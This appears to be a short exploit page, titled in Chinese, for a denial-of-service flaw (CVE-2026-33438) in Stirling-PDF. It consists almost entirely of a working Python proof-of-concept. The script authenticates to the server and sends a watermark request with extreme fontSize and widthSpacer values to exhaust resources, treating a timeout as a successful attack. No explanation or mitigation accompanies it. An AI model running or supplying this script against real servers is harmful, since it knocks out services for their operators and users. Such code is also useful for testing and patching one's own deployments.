CVE-2026-33438 Stirling-PDF 拒绝服务漏洞

import requests # Target URL (Change to actual target) target_url = "http://localhost:8080/api/v1/security/add-watermark" # Attacker credentials login_url = "http://localhost:8080/api/v1/auth/login" credentials = { "username": "test_user", "password": "test_password" } # Create session to maintain authentication session = requests.Session() # 1. Authenticate auth_response = session.post(login_url, json=credentials) if auth_response.status_code != 200: print("Login failed") exit(1) # 2. Prepare exploit payload # Extreme values for fontSize and widthSpacer to cause resource exhaustion exploit_data = { "fontSize": 999999999, "widthSpacer": 999999999 } # Depending on the endpoint implementation, files might be required. # Adjusting payload to mimic a typical multipart request if necessary, # but focusing on the parameters described. files = { 'file': ('dummy.pdf', open('dummy.pdf', 'rb'), 'application/pdf') } print("Sending malicious payload...") try: # 3. Send the request response = session.post(target_url, data=exploit_data, files=files, timeout=5) print(f"Response status code: {response.status_code}") except requests.exceptions.Timeout: print("Server timed out - DoS likely successful.") except Exception as e: print(f"An error occurred: {e}")